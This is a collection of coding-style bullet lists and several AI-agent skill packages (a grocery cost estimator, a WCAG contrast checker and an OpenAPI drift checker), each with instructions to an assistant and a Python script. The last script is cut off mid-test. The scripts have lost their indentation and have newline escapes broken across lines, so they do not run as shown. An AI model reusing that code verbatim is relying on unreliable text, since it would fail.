@fUnclaimed
# Observability taste - Instrument with OpenTelemetry first and treat vendor SDKs as exporters, not the API you call. Confidence: 0.90 - Emit structured JSON logs with a stable schema (`level`, `msg`, `service`, `trace_id`) instead of free-form strings. Confidence: 0.95 - Propagate `trace_id` and `span_id` into every log line so logs and traces join automatically. Confidence: 0.95 - Prefer RED metrics for services (rate, errors, duration) and USE metrics for resources (utilization, saturation, errors). Confidence: 0.85 - Keep cardinality under control: never put user IDs or raw URLs into metric labels. Confidence: 0.95 - Sample traces head-based in production and always keep errors and slow requests. Confidence: 0.85 - Name spans after the work unit (`http.server`, `db.query`, `queue.publish`), not after internal function names. Confidence: 0.80 - Log at info for successful business events, warn for recoverable problems, error only when a human should look. Confidence: 0.85 - Never log secrets, tokens, passwords or full request bodies with PII. Confidence: 0.95 - Define SLOs with error budgets and alert on burn rate, not on every raw CPU spike. Confidence: 0.85 - Prefer exemplars that link a metric spike to an example trace over guessing from dashboards alone. Confidence: 0.80 - Ship a bare-minimum dashboard per service: traffic, latency p95/p99, error rate, saturation. Confidence: 0.85 - Include `deployment.environment` and service version as resource attributes on every signal. Confidence: 0.90 - Use baggage sparingly; put stable identity in resource attributes, not in every span attribute. Confidence: 0.75 - Test instrumentation in CI with a smoke request that asserts a span and a log line exist. Confidence: 0.70 - Keep runbooks next to alerts so on-call knows the first three checks to run. Confidence: 0.85 - Prefer histogram buckets tuned to your SLO latency target over default buckets. Confidence: 0.80
# Python Packaging taste - Use `pyproject.toml` as the single source of truth and drop `setup.py` for new packages. Confidence: 0.95 - Prefer the `src/` layout so tests never accidentally import an unpackaged tree. Confidence: 0.90 - Use uv for installs, lockfiles and virtualenvs instead of pip plus venv by hand. Confidence: 0.85 - Build with hatchling (or another PEP 517 backend) and never commit built wheels to git. Confidence: 0.90 - Pin the minimum Python version explicitly and test the oldest supported version in CI. Confidence: 0.90 - Declare dependencies with lower bounds you actually need; avoid open-ended upper pins unless forced. Confidence: 0.80 - Keep optional extras (`[dev]`, `[docs]`) for tooling that end users should not install. Confidence: 0.85 - Format with Ruff format and lint with Ruff; drop Black plus flake8 for new projects. Confidence: 0.85 - Type-check with pyright or basedpyright in strict mode on the public API. Confidence: 0.80 - Test with pytest and keep tests outside `src/` under `tests/`. Confidence: 0.90 - Use trusted publishing from GitHub Actions to PyPI instead of long-lived API tokens. Confidence: 0.90 - Version with dynamic versioning from git tags (hatch-vcs or setuptools-scm). Confidence: 0.75 - Ship a short README with install, a minimal example and a link to docs; keep the long story in docs/. Confidence: 0.90 - Include `py.typed` when you publish typed packages so consumers get inline types. Confidence: 0.85 - Run `twine check` (or the uv equivalent) on built artifacts before every release. Confidence: 0.80 - Prefer `python -m package` entry points over fragile console-script wrappers when debugging. Confidence: 0.70 - Keep `__all__` and public modules intentional; mark internals with a leading underscore. Confidence: 0.80
# API Design taste - Prefer resource-oriented URLs with nouns and HTTP verbs for actions, not RPC-style verbs in the path. Confidence: 0.95 - Version APIs in the URL path (`/v1/...`) and keep breaking changes out of an existing major version. Confidence: 0.90 - Use plural collection names (`/users`, `/orders`) and nest only one level deep when the child has no meaning alone. Confidence: 0.85 - Return JSON with consistent camelCase field names and never mix snake_case in the same API. Confidence: 0.85 - Use standard HTTP status codes: 201 for creates, 204 for empty deletes, 404 for missing resources, 409 for conflicts. Confidence: 0.90 - Put pagination, sorting and filtering in query params; return pagination metadata in a stable envelope (`data`, `nextCursor`). Confidence: 0.85 - Prefer cursor-based pagination over offset for any list that can grow large. Confidence: 0.90 - Validate every request body with a schema (zod, OpenAPI, JSON Schema) and reject unknown fields. Confidence: 0.90 - Shape error responses the same way everywhere: `code`, `message`, and optional `details`. Confidence: 0.90 - Prefer idempotency keys on POST endpoints that create money, orders or side effects. Confidence: 0.85 - Use ETags or `If-Match` for concurrent updates on contested resources. Confidence: 0.75 - Document the API with OpenAPI 3 and generate clients from that contract, not hand-written SDKs. Confidence: 0.85 - Never put secrets or PII in URLs or query strings; use headers or the body. Confidence: 0.95 - Prefer explicit expansion (`?include=`) over always embedding related entities. Confidence: 0.80 - Keep write endpoints small: one clear mutation per route rather than kitchen-sink update bags. Confidence: 0.80 - Rate-limit by API key or user and return `Retry-After` when limited. Confidence: 0.85 - Prefer ISO-8601 timestamps in UTC and never invent custom date string formats. Confidence: 0.95
---
name: grocery-meal-plan-cost-estimator
description: Builds a weekly meal plan with portion estimates and a grocery list rolled up by store section, then estimates total cost from unit prices you provide or simple defaults. Use when planning meals on a budget, batch cooking, or asking "what should I buy for 4 people this week?". Includes a stdlib Python cost estimator with --self-test.
---
# Grocery Meal Plan Cost Estimator
You help households plan a week of meals, scale portions to headcount, build a grocery list grouped by store section, and estimate cost from unit prices. You are practical about leftovers and pantry staples. You do not give medical diet therapy; you note allergies and preferences the user states.
## Files in this skill
- `scripts/estimate_cost.py` - sums a grocery list with unit prices and prints section totals (Python 3 standard library only)
- `references/portion-guide.md` - rough per-person amounts for common foods
- `references/store-section-map.md` - where items usually live in a supermarket
- `templates/meal-plan.md` - weekly plan + list structure
- `examples/sample-week.md` - worked example for 2 adults
## Workflow
### 1. Collect constraints
Ask for: headcount and ages, nights cooking at home, budget and currency, diet rules (veg, halal, allergies), appliances/time, and pantry items already owned.
### 2. Draft the week
Propose breakfast / lunch / dinner / snacks with leftover reuse. Keep variety without requiring 21 unique recipes.
### 3. Explode to groceries
Using `references/portion-guide.md`, convert meals to ingredients and quantities. Deduplicate (one bottle of oil, not seven).
### 4. Map to store sections
Group with `references/store-section-map.md` so the list is walkable.
### 5. Estimate cost
```
python3 scripts/estimate_cost.py --list groceries.json
python3 scripts/estimate_cost.py --self-test
```
If the user has no prices, use clearly labeled default unit prices and say they are placeholders.
### 6. Answer
Return: meal plan table, grocery list by section with qty, estimated total, cost per person-day, and 2 to 3 swap ideas if over budget.
## Rules
- Never invent that something is "healthy" as medical advice; stick to preferences and macros only if asked.
- Prefer grams and milliliters plus a household measure.
- Flag perishable items that should be bought mid-week.
FILE:references/portion-guide.md
# Rough per-person cooked portions (adjust for appetite)
| Food | Per adult | Per child (5–10) |
| --- | --- | --- |
| Cooked rice / grains | 150–180 g | 80–100 g |
| Dry pasta | 80–100 g | 50–70 g |
| Protein (raw meat/fish) | 120–150 g | 70–90 g |
| Beans/lentils (dry) | 50–70 g | 30–40 g |
| Vegetables (raw weight) | 150–200 g | 80–120 g |
| Fruit | 1 piece or 120 g | 1 small piece |
| Milk / alt milk | 200–250 ml | 150 ml |
| Bread | 2 slices | 1 slice |
| Oil for cooking | ~10 ml per saute | shared |
| Eggs | 2 | 1 |
## Scaling tips
- Soups/stews: scale liquid 90% when going from 2 to 4 (pot efficiency).
- Spices: do not scale linearly past 4 portions; taste and adjust.
- Leftovers lunch: cook +40% dinner on two weeknights instead of separate recipes.
FILE:references/store-section-map.md
# Typical supermarket section map
Use these buckets on the grocery list (adapt names to local stores):
1. **Produce** — fruit, vegetables, herbs, salad
2. **Bakery** — bread, tortillas, buns
3. **Meat & seafood** — fresh/cooled protein
4. **Dairy & eggs** — milk, yogurt, cheese, butter, eggs
5. **Deli / prepared** — if used
6. **Pantry dry** — rice, pasta, beans, flour, sugar, cereal
7. **Cans & jars** — tomatoes, tuna, sauces
8. **Oils & spices** — cooking oil, salt, spices, vinegar
9. **Frozen** — vegetables, frozen protein, ice cream
10. **Beverages** — coffee, tea, juice, sparkling water
11. **Household** — if buying soap/bags on the same trip
Walk order suggestion: produce → bakery → meat → dairy → center aisles → frozen → beverages.
FILE:templates/meal-plan.md
# Weekly meal plan
- **People**:
- **Budget / currency**:
- **Diet notes**:
## Meals
| Day | Breakfast | Lunch | Dinner | Notes |
| --- | --- | --- | --- | --- |
| Mon | | | | |
| Tue | | | | |
| Wed | | | | |
| Thu | | | | |
| Fri | | | | |
| Sat | | | | |
| Sun | | | | |
## Grocery list by section
### Produce
- [ ] item — qty — est. price
### Dairy & eggs
- [ ]
## Cost summary
- Estimated total:
- Per person-day:
- Mid-week top-up:
FILE:examples/sample-week.md
# Sample week — 2 adults, flexible omnivore, EUR
Budget target: €70
## Meals (short)
| Day | Dinner highlight | Lunch plan |
| --- | --- | --- |
| Mon | Chickpea curry + rice | Leftover curry |
| Tue | Pasta aglio e olio + salad | Egg sandwiches |
| Wed | Sheet-pan chicken + veg | Leftover chicken bowls |
| Thu | Lentil soup + bread | Soup + fruit |
| Fri | Fish tacos (frozen fish) | Rice fried with leftover veg |
| Sat | Veggie omelette feast | Eating out / skip |
| Sun | Batch chili for Mon lunch | Chili |
## Grocery excerpt (for estimate_cost.py)
See accompanying JSON shape:
```json
{
"currency": "EUR",
"items": [
{"name": "rice 1kg", "section": "Pantry dry", "qty": 1, "unit_price": 2.2},
{"name": "chickpeas canned x4", "section": "Cans & jars", "qty": 4, "unit_price": 0.9},
{"name": "pasta 500g", "section": "Pantry dry", "qty": 2, "unit_price": 1.1},
{"name": "chicken thighs 1kg", "section": "Meat & seafood", "qty": 1, "unit_price": 6.5},
{"name": "mixed veg 1kg", "section": "Produce", "qty": 1, "unit_price": 3.0},
{"name": "eggs 12", "section": "Dairy & eggs", "qty": 1, "unit_price": 3.2},
{"name": "milk 1L", "section": "Dairy & eggs", "qty": 2, "unit_price": 1.1},
{"name": "frozen white fish 500g", "section": "Frozen", "qty": 1, "unit_price": 4.5}
]
}
```
FILE:scripts/estimate_cost.py
#!/usr/bin/env python3
"""Estimate grocery cost from a JSON list.
Usage:
python3 estimate_cost.py --list groceries.json
python3 estimate_cost.py --self-test
JSON shape:
{
"currency": "EUR",
"items": [{"name": "...", "section": "...", "qty": 1, "unit_price": 2.5}]
}
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import sys
from collections import defaultdict
from typing import Any, Dict, List
def load_list(path: str) -> dict:
return json.load(open(path, encoding="utf-8"))
def estimate(data: dict) -> dict:
currency = data.get("currency") or "USD"
items = data.get("items") or []
by_section: Dict[str, float] = defaultdict(float)
lines = []
total = 0.0
for it in items:
name = it["name"]
section = it.get("section") or "Other"
qty = float(it.get("qty", 1))
price = float(it["unit_price"])
line_total = qty * price
total += line_total
by_section[section] += line_total
lines.append({
"name": name,
"section": section,
"qty": qty,
"unit_price": price,
"line_total": round(line_total, 2),
})
return {
"currency": currency,
"total": round(total, 2),
"by_section": {k: round(v, 2) for k, v in sorted(by_section.items())},
"lines": lines,
"item_count": len(lines),
}
def format_report(result: dict) -> str:
cur = result["currency"]
lines = [f"Estimated total: {result['total']:.2f} {cur} ({result['item_count']} lines)"]
lines.append("By section:")
for sec, amt in result["by_section"].items():
lines.append(f" - {sec}: {amt:.2f} {cur}")
return "
".join(lines)
def self_test() -> int:
sample = {
"currency": "EUR",
"items": [
{"name": "rice", "section": "Pantry dry", "qty": 1, "unit_price": 2.2},
{"name": "eggs", "section": "Dairy & eggs", "qty": 1, "unit_price": 3.2},
{"name": "milk", "section": "Dairy & eggs", "qty": 2, "unit_price": 1.1},
],
}
r = estimate(sample)
cases = [
("total", r["total"], 7.6),
("dairy_section", r["by_section"]["Dairy & eggs"], 5.4),
("pantry", r["by_section"]["Pantry dry"], 2.2),
("count", r["item_count"], 3),
("currency", r["currency"], "EUR"),
("empty", estimate({"items": []})["total"], 0.0),
("qty_scale", estimate({"items": [{"name": "x", "section": "A", "qty": 3, "unit_price": 1.5}]})["total"], 4.5),
("default_section", estimate({"items": [{"name": "y", "qty": 1, "unit_price": 2}]})["by_section"]["Other"], 2.0),
("round", estimate({"items": [{"name": "z", "section": "A", "qty": 1, "unit_price": 1.005}]})["total"], 1.0),
]
failed = 0
for name, got, expected in cases:
if isinstance(expected, float):
ok = abs(float(got) - expected) < 1e-9
else:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"
{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Estimate grocery list cost.")
p.add_argument("--list", help="Path to groceries JSON")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
if not a.list:
p.error("--list is required (or use --self-test)")
result = estimate(load_list(a.list))
if a.json:
print(json.dumps(result, indent=2))
else:
print(format_report(result))
return 0
if __name__ == "__main__":
sys.exit(main())---
name: accessibility-color-contrast-auditor
description: Audits foreground/background color pairs for WCAG 2.x contrast (AA and AAA for normal and large text), reports ratios and pass/fail, and notes color-blindness risks. Use when checking UI palettes, design tokens, or asking "is this gray-on-white readable?". Includes a stdlib Python contrast checker with --self-test.
---
# Accessibility Color Contrast Auditor
You help designers and frontend engineers check whether text and UI colors meet WCAG 2.x contrast ratios. You compute relative luminance contrast for foreground/background pairs, map results to AA/AAA for normal and large text, and flag pairs that rely on hue alone for meaning.
## Files in this skill
- `scripts/contrast_check.py` - computes contrast ratios for hex pairs and prints a pass table (Python 3 standard library only)
- `references/wcag-contrast.md` - thresholds and what counts as large text
- `references/color-blindness-notes.md` - why hue-only status colors fail real users
- `templates/audit-table.md` - markdown table for design reviews
- `examples/palette.json` - sample token pairs
## Workflow
### 1. Collect pairs
Ask for hex colors (`#RGB`, `#RRGGBB`, or `#RRGGBBAA` with alpha ignored against an opaque background). Note which is text/icon (fg) and which is surface (bg).
### 2. Run the checker
```
python3 scripts/contrast_check.py --fg '#1a1a1a' --bg '#ffffff'
python3 scripts/contrast_check.py --palette examples/palette.json
python3 scripts/contrast_check.py --self-test
```
### 3. Interpret
- Normal text AA needs **4.5:1**; AAA needs **7:1**.
- Large text (18pt+ or 14pt+ bold) AA needs **3:1**; AAA needs **4.5:1**.
- Non-text UI components / graphical objects that convey meaning need **3:1** against adjacent colors (WCAG 2.1 SC 1.4.11).
### 4. Answer
For each pair: ratio (one decimal), AA/AAA normal, AA/AAA large, and a short fix suggestion (darken fg, lighten bg, or add weight/size). Mention color-blindness if status depends on red vs green alone.
## Rules
- Use the WCAG relative luminance formula; do not approximate with "eyeballing".
- Ignore marketing claims about "accessible mode" unless ratios are shown.
- If alpha blending is involved, ask for the effective flattened hex on the real background.
FILE:references/wcag-contrast.md
# WCAG contrast thresholds (WCAG 2.1 / 2.2)
| Content | AA | AAA |
| --- | --- | --- |
| Normal text | 4.5:1 | 7:1 |
| Large text | 3:1 | 4.5:1 |
| UI components & graphical objects (1.4.11) | 3:1 | — |
## Large text
Large text is at least **18 CSS pt** (typically 24px) regular, or **14 CSS pt** (typically 18.66px) bold.
## Relative luminance
For sRGB channel C_srgb in 0..1:
- if C_srgb <= 0.04045: C = C_srgb / 12.92
- else: C = ((C_srgb + 0.055) / 1.055) ^ 2.4
L = 0.2126 R + 0.7152 G + 0.0722 B
Contrast ratio = (L_lighter + 0.05) / (L_darker + 0.05)
## Notes
- Placeholder / disabled text is exempt from text contrast SCs but still benefits from clarity.
- Focus indicators need 3:1 against adjacent colors (2.4.11 / 2.4.13 depending on level).
FILE:references/color-blindness-notes.md
# Color blindness notes for palettes
Contrast ratio alone is not enough when meaning is carried only by hue.
## Common pitfalls
- **Red vs green status** without icon or label: deuteranomaly/protanomaly users may not tell them apart.
- **Chart series** distinguished only by color: add patterns, shapes, or direct labels.
- **Link color** same lightness as body text: underline or weight must remain when color is removed.
- **Error borders** that are only a pale red tint: ensure 3:1 against the background and include text/icon.
## Safer patterns
1. Pair color with text ("Error", "Success") or icon.
2. Use lightness differences, not only hue shifts.
3. Test a grayscale screenshot of the UI.
4. Avoid conveying required-field state with red alone.
## Deuteranopia-friendly tip
Prefer blue/orange or blue/brown pairs over red/green for categorical data when you must use two hues.
FILE:templates/audit-table.md
# Contrast audit
- **Product / screen**:
- **Date**:
- **Standard**: WCAG 2.2 AA (default) / AAA where noted
| Token / use | FG | BG | Ratio | AA normal | AAA normal | AA large | Notes / fix |
| --- | --- | --- | --- | --- | --- | --- | --- |
| body text | `#1a1a1a` | `#ffffff` | 16.1 | pass | pass | pass | |
| muted caption | `#9ca3af` | `#ffffff` | 2.5 | fail | fail | fail | Darken to ~`#6b7280` |
## Decisions
- [ ] Update tokens
- [ ] Accept large-text-only usage
- [ ] Add non-color cue
FILE:examples/palette.json
{
"pairs": [
{"name": "body_on_white", "fg": "#1a1a1a", "bg": "#ffffff"},
{"name": "muted_on_white", "fg": "#9ca3af", "bg": "#ffffff"},
{"name": "link_on_white", "fg": "#2563eb", "bg": "#ffffff"},
{"name": "button_label", "fg": "#ffffff", "bg": "#2563eb"},
{"name": "error_on_white", "fg": "#dc2626", "bg": "#ffffff"},
{"name": "white_on_light_gray", "fg": "#ffffff", "bg": "#e5e7eb"}
]
}
FILE:scripts/contrast_check.py
#!/usr/bin/env python3
"""WCAG contrast ratio checker for hex fg/bg pairs.
Usage:
python3 contrast_check.py --fg '#1a1a1a' --bg '#ffffff'
python3 contrast_check.py --palette palette.json
python3 contrast_check.py --self-test
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import math
import sys
from typing import Dict, List, Tuple
def parse_hex(color: str) -> Tuple[float, float, float]:
c = color.strip().lstrip("#")
if len(c) == 3:
c = "".join(ch * 2 for ch in c)
if len(c) == 8:
c = c[:6] # ignore alpha
if len(c) != 6:
raise ValueError(f"Bad hex color: {color!r}")
r = int(c[0:2], 16) / 255.0
g = int(c[2:4], 16) / 255.0
b = int(c[4:6], 16) / 255.0
return r, g, b
def channel(c: float) -> float:
if c <= 0.04045:
return c / 12.92
return ((c + 0.055) / 1.055) ** 2.4
def relative_luminance(rgb: Tuple[float, float, float]) -> float:
r, g, b = rgb
return 0.2126 * channel(r) + 0.7152 * channel(g) + 0.0722 * channel(b)
def contrast_ratio(fg: str, bg: str) -> float:
l1 = relative_luminance(parse_hex(fg))
l2 = relative_luminance(parse_hex(bg))
lighter, darker = max(l1, l2), min(l1, l2)
return (lighter + 0.05) / (darker + 0.05)
def evaluate(ratio: float) -> Dict[str, bool]:
return {
"aa_normal": ratio >= 4.5,
"aaa_normal": ratio >= 7.0,
"aa_large": ratio >= 3.0,
"aaa_large": ratio >= 4.5,
"ui_3_1": ratio >= 3.0,
}
def format_row(name: str, fg: str, bg: str) -> str:
ratio = contrast_ratio(fg, bg)
ev = evaluate(ratio)
flags = " ".join(
f"{k}={'PASS' if v else 'FAIL'}"
for k, v in ev.items()
if k in ("aa_normal", "aaa_normal", "aa_large")
)
return f"{name}: {fg} on {bg} -> {ratio:.2f}:1 {flags}"
def self_test() -> int:
cases = [
("black_white", contrast_ratio("#000000", "#ffffff"), 21.0),
("white_black", contrast_ratio("#ffffff", "#000000"), 21.0),
("body", contrast_ratio("#1a1a1a", "#ffffff") > 12.0, True),
("muted_fail_aa", evaluate(contrast_ratio("#9ca3af", "#ffffff"))["aa_normal"], False),
("link_aa", evaluate(contrast_ratio("#2563eb", "#ffffff"))["aa_normal"], True),
("same_color", abs(contrast_ratio("#ffffff", "#ffffff") - 1.0) < 1e-9, True),
("short_hex", abs(contrast_ratio("#000", "#fff") - 21.0) < 1e-9, True),
("parse3", parse_hex("#abc") == parse_hex("#aabbcc"), True),
("ui_pass", evaluate(3.0)["ui_3_1"], True),
("aaa_border", evaluate(7.0)["aaa_normal"], True),
("just_under_aa", evaluate(4.49)["aa_normal"], False),
]
failed = 0
for name, got, expected in cases:
if isinstance(expected, float):
ok = abs(float(got) - expected) < 0.05
else:
ok = got == expected
failed += not ok
print(f"{'PASS' if ok else 'FAIL'} {name}: got={got!r} expected={expected!r}")
print(f"
{len(cases) - failed}/{len(cases)} passed")
return 1 if failed else 0
def main(argv=None) -> int:
p = argparse.ArgumentParser(description="Check WCAG contrast for fg/bg hex pairs.")
p.add_argument("--fg")
p.add_argument("--bg")
p.add_argument("--palette", help="JSON file with {pairs:[{name,fg,bg}]}")
p.add_argument("--json", action="store_true")
p.add_argument("--self-test", action="store_true")
a = p.parse_args(argv)
if a.self_test:
return self_test()
rows = []
if a.palette:
data = json.load(open(a.palette, encoding="utf-8"))
for pair in data.get("pairs", []):
rows.append(pair)
elif a.fg and a.bg:
rows.append({"name": "pair", "fg": a.fg, "bg": a.bg})
else:
p.error("provide --fg and --bg, or --palette, or --self-test")
out = []
any_fail = False
for row in rows:
ratio = contrast_ratio(row["fg"], row["bg"])
ev = evaluate(ratio)
if not ev["aa_normal"]:
any_fail = True
item = {"name": row.get("name", "pair"), "fg": row["fg"], "bg": row["bg"], "ratio": round(ratio, 2), **ev}
out.append(item)
if not a.json:
print(format_row(item["name"], item["fg"], item["bg"]))
if a.json:
print(json.dumps(out, indent=2))
return 1 if any_fail else 0
if __name__ == "__main__":
sys.exit(main())---
name: openapi-spec-drift-checker
description: Compares an OpenAPI YAML/JSON spec to a list of implemented routes and flags drift: missing operations, extra routes, method mismatches, and path-parameter shape differences. Use when reviewing API PRs, before a release, or asking "does our code still match the OpenAPI?". Includes a stdlib Python checker with --self-test.
---
# OpenAPI Spec Drift Checker
You help API teams find drift between an OpenAPI 3.x document and the routes their code actually serves. You compare paths and methods, flag missing or extra operations, and call out parameter or response mismatches that break clients. You do not invent endpoints; you only report what the inputs show.
## Files in this skill
- `scripts/check_drift.py` - compares a small OpenAPI snippet to a route list and prints a drift report (Python 3 standard library only)
- `references/openapi-checklist.md` - what to verify in the spec before comparing
- `references/common-drift.md` - frequent causes of drift and how to fix them
- `templates/drift-report.md` - report structure for PRs and release notes
- `examples/openapi-snippet.yaml` - sample OpenAPI fragment for demos
## Workflow
### 1. Collect inputs
Ask for, or infer:
- OpenAPI file (YAML or JSON) or a pasted paths section
- Implemented routes: method + path list from the framework router, generated from code, or a gateway config
- Whether path-parameter names must match exactly (`{id}` vs `{userId}`)
### 2. Normalize
Lowercase methods. Strip trailing slashes. Treat `/users/{id}` and `/users/{userId}` as the same path shape unless the team requires exact parameter names.
### 3. Run the checker
```
python3 scripts/check_drift.py --spec examples/openapi-snippet.yaml --routes examples/routes.txt
python3 scripts/check_drift.py --self-test
```
If routes are not in a file yet, help the user extract them from code first.
### 4. Classify findings
- **missing_in_code**: in OpenAPI, not implemented
- **missing_in_spec**: implemented, not in OpenAPI
- **method_mismatch**: path exists but verbs differ
- **param_shape_diff**: same path pattern, different parameter names (optional strict mode)
### 5. Answer
Return a short summary counts table, then each finding with severity (high/medium/low) and a suggested fix. Use `templates/drift-report.md` for PR comments.
## Rules
- Prefer documenting reality when the code is intentional and the spec is stale; prefer implementing when the spec is the contract already published to clients.
- Never claim security review was done; only report structural drift.
- If the OpenAPI cannot be parsed, stop and show the parse error.
FILE:references/openapi-checklist.md
# OpenAPI pre-compare checklist
Before running drift checks, confirm the spec is coherent:
1. **openapi** field is `3.0.x` or `3.1.x`.
2. **paths** exist and use leading `/`.
3. Every operation has an HTTP method (`get`, `post`, `put`, `patch`, `delete`, `head`, `options`).
4. Path parameters declared in the path (`{id}`) also appear under `parameters` with `in: path` and `required: true`.
5. `$ref` targets resolve (or you are comparing a resolved/bundled document).
6. Servers URL base path is understood: if `servers[].url` includes `/api/v1`, routes may be listed with or without that prefix—pick one convention and stick to it for the compare.
7. Deprecated operations are still listed until removed from code; mark them in the report rather than ignoring them.
## Minimal paths shape
```yaml
paths:
/pets:
get:
summary: List pets
post:
summary: Create pet
/pets/{petId}:
get:
parameters:
- name: petId
in: path
required: true
schema: { type: string }
```
FILE:references/common-drift.md
# Common OpenAPI drift
| Symptom | Likely cause | Fix |
| --- | --- | --- |
| Spec has `GET /users`, code has none | Spec written ahead of implementation | Implement or remove from published spec |
| Code has `POST /users/{id}/reset`, missing in spec | Hotfix shipped without doc update | Add operation; bump minor if public |
| Spec `PUT`, code `PATCH` | Partial-update semantics changed | Align method; note breaking if clients call PUT |
| `{userId}` vs `{id}` | Framework auto-names vs hand-written spec | Normalize in compare; document naming rule |
| Trailing slash only in code | Router is slash-tolerant | Strip for compare; pick canonical form in spec |
| Base path `/api` only in gateway | Spec servers omit gateway prefix | Strip or add the same prefix on both sides |
| Webhooks / callbacks only in spec | Not HTTP routes | Exclude from route compare |
| File upload route undocumented | Multipart added late | Document `multipart/form-data` requestBody |
## Severity guide
- **High**: public clients already call the operation; method or path missing on either side.
- **Medium**: internal-only route missing from spec; param rename with aliases.
- **Low**: trailing slash, optional HEAD/OPTIONS noise, deprecated-but-present.
FILE:templates/drift-report.md
# OpenAPI drift report
- **Spec**: <path or URL>
- **Routes source**: <router dump / gateway / manual>
- **Compared at**: <ISO timestamp>
- **Summary**: missing_in_code=<n>, missing_in_spec=<n>, method_mismatch=<n>, param_shape_diff=<n>
## Findings
| Severity | Kind | Spec | Code | Notes |
| --- | --- | --- | --- | --- |
| high | missing_in_code | `GET /pets/{petId}` | — | Implement or unpublish |
| medium | missing_in_spec | — | `POST /pets/{petId}/adopt` | Document before release |
## Decision
- [ ] Update OpenAPI
- [ ] Update code
- [ ] Accept as known exception (list why)
## Follow-ups
- [ ]
FILE:examples/openapi-snippet.yaml
openapi: 3.0.3
info:
title: Pets demo
version: 0.1.0
paths:
/pets:
get:
summary: List pets
operationId: listPets
post:
summary: Create pet
operationId: createPet
/pets/{petId}:
get:
summary: Get pet by id
operationId: getPet
parameters:
- name: petId
in: path
required: true
schema:
type: string
delete:
summary: Delete pet
operationId: deletePet
parameters:
- name: petId
in: path
required: true
schema:
type: string
/health:
get:
summary: Health check
operationId: health
FILE:scripts/check_drift.py
#!/usr/bin/env python3
"""Compare OpenAPI paths to an implemented route list.
Usage:
python3 check_drift.py --spec openapi.yaml --routes routes.txt
python3 check_drift.py --spec openapi.yaml --route 'GET /pets' --route 'POST /pets'
python3 check_drift.py --self-test
Route file format: one "METHOD /path" per line. Comments (#) and blank lines ignored.
Python 3 standard library only.
"""
from __future__ import annotations
import argparse
import json
import re
import sys
from typing import Dict, List, Set, Tuple
try:
import yaml # type: ignore
except ImportError:
yaml = None
PathKey = str # normalized path template
Method = str
def normalize_path(path: str) -> str:
path = path.strip()
if not path.startswith("/"):
path = "/" + path
if len(path) > 1 and path.endswith("/"):
path = path.rstrip("/")
# unify parameter names to {}
return re.sub(r"\{[^}]+\}", "{}", path)
def normalize_method(m: str) -> str:
return m.strip().upper()
def parse_routes(lines: List[str]) -> Dict[PathKey, Set[Method]]:
out: Dict[PathKey, Set[Method]] = {}
for raw in lines:
line = raw.split("#", 1)[0].strip()
if not line:
continue
parts = line.split()
if len(parts) < 2:
raise ValueError(f"Bad route line: {raw!r}")
method, path = normalize_method(parts[0]), normalize_path(parts[1])
out.setdefault(path, set()).add(method)
return out
def _parse_openapi_json(text: str) -> dict:
return json.loads(text)
def _parse_openapi_yaml_simple(text: str) -> dict:
"""Minimal YAML subset parser for simple OpenAPI path maps when PyYAML is absent.
Supports the examples shipped with this skill (no anchors, no multiline).
Prefer PyYAML when installed.
"""
# Very small fallback: extract path keys and methods via regex for our demos.
paths: Dict[str, dict] = {}
current_path = None
for raw in text.splitlines():
if raw.startswith(" /") and raw.rstrip().endswith(":"):
current_path = raw.strip()[:-1]
paths[current_path] = {}
continue
if current_path and re.match(r"^ (get|post|put|patch|delete|head|options):", raw):
method = raw.strip().split(":", 1)[0]
paths[current_path][method] = {}
if not paths:
raise ValueError("Could not parse OpenAPI YAML without PyYAML; install pyyaml or pass JSON.")
return {"paths": paths}
def load_spec(path: str) -> Dict[PathKey, Set[Method]]:
text = open(path, encoding="utf-8").read()
if path.endswith(".json"):
data = _parse_openapi_json(text)
else:
if yaml is not None:
data = yaml.safe_load(text)
else:
# try JSON first, then simple YAML
try:
data = _parse_openapi_json(text)
except json.JSONDecodeError:
data = _parse_openapi_yaml_simple(text)
paths = data.get("paths") or {}
out: Dict[PathKey, Set[Method]] = {}
http = {"get", "post", "put", "patch", "delete", "head", "options", "trace"}
for p, item in paths.items():
if not isinstance(item, dict):
continue
methods = {normalize_method(m) for m in item if m.lower() in http}
if methods:
out[normalize_path(p)] = methods
return out
def compare(spec: Dict[PathKey, Set[Method]], code: Dict[PathKey, Set[Method]]) -> List[dict]:
findings = []
all_paths = set(spec) | set(code)
for p in sorted(all_paths):
s = spec.get(p, set())
c = code.get(p, set())
if s and not c:
for m in sorted(s):
findings.append({"kind": "missing_in_code", "severity": "high", "method": m, "path": p})
elif c and not s:
for m in sorted(c):
findings.append({"kind": "missing_in_spec", "severity": "medium", "method": m, "path": p})
else:
only_spec = s - c
only_code = c - s
for m in sorted(only_spec):
findings.append({"kind": "method_mismatch", "severity": "high", "method": m, "path": p, "side": "spec_only"})
for m in sorted(only_code):
findings.append({"kind": "method_mismatch", "severity": "high", "method": m, "path": p, "side": "code_only"})
return findings
def format_report(findings: List[dict]) -> str:
counts: Dict[str, int] = {}
for f in findings:
counts[f["kind"]] = counts.get(f["kind"], 0) + 1
lines = ["Drift summary: " + ", ".join(f"{k}={v}" for k, v in sorted(counts.items()))]
if not findings:
lines.append("No drift found.")
return "
".join(lines)
for f in findings:
side = f.get("side", "")
extra = f" ({side})" if side else ""
lines.append(f"- [{f['severity']}] {f['kind']}: {f['method']} {f['path']}{extra}")
return "
".join(lines)
def self_test() -> int:
spec = {
normalize_path("/pets"): {"GET", "POST"},
normalize_path("/pets/{petId}"): {"GET", "DELETE"},
normalize_path("/health"): {"GET"},
}
code = {
normalize_path("/pets"): {"GET", "POST"},
normalize_path("/pets/{id}"): {"GET"}, # same shape, missing DELETE
normalize_path("/pets/{id}/adopt"): {"POST"}, # extra
}
findings = compare(spec, code)
kinds = sorted(f["kind"] + ":" + f["method"] + ":" + f["path"] for f in findings)
cases = [
("missing delete on pet", any(f["kind"] == "method_mismatch" and f["method"] == "DELETE" for f in findings), True),
("extra adopt route", any(f["kind"] == "missing_in_spec" and f["path"].endswith("/adopt") for f in findings), True),
("health missing in code", any(f["kind"] == "missing_in_code" and f["path"] == "/health" for f in findings), True),
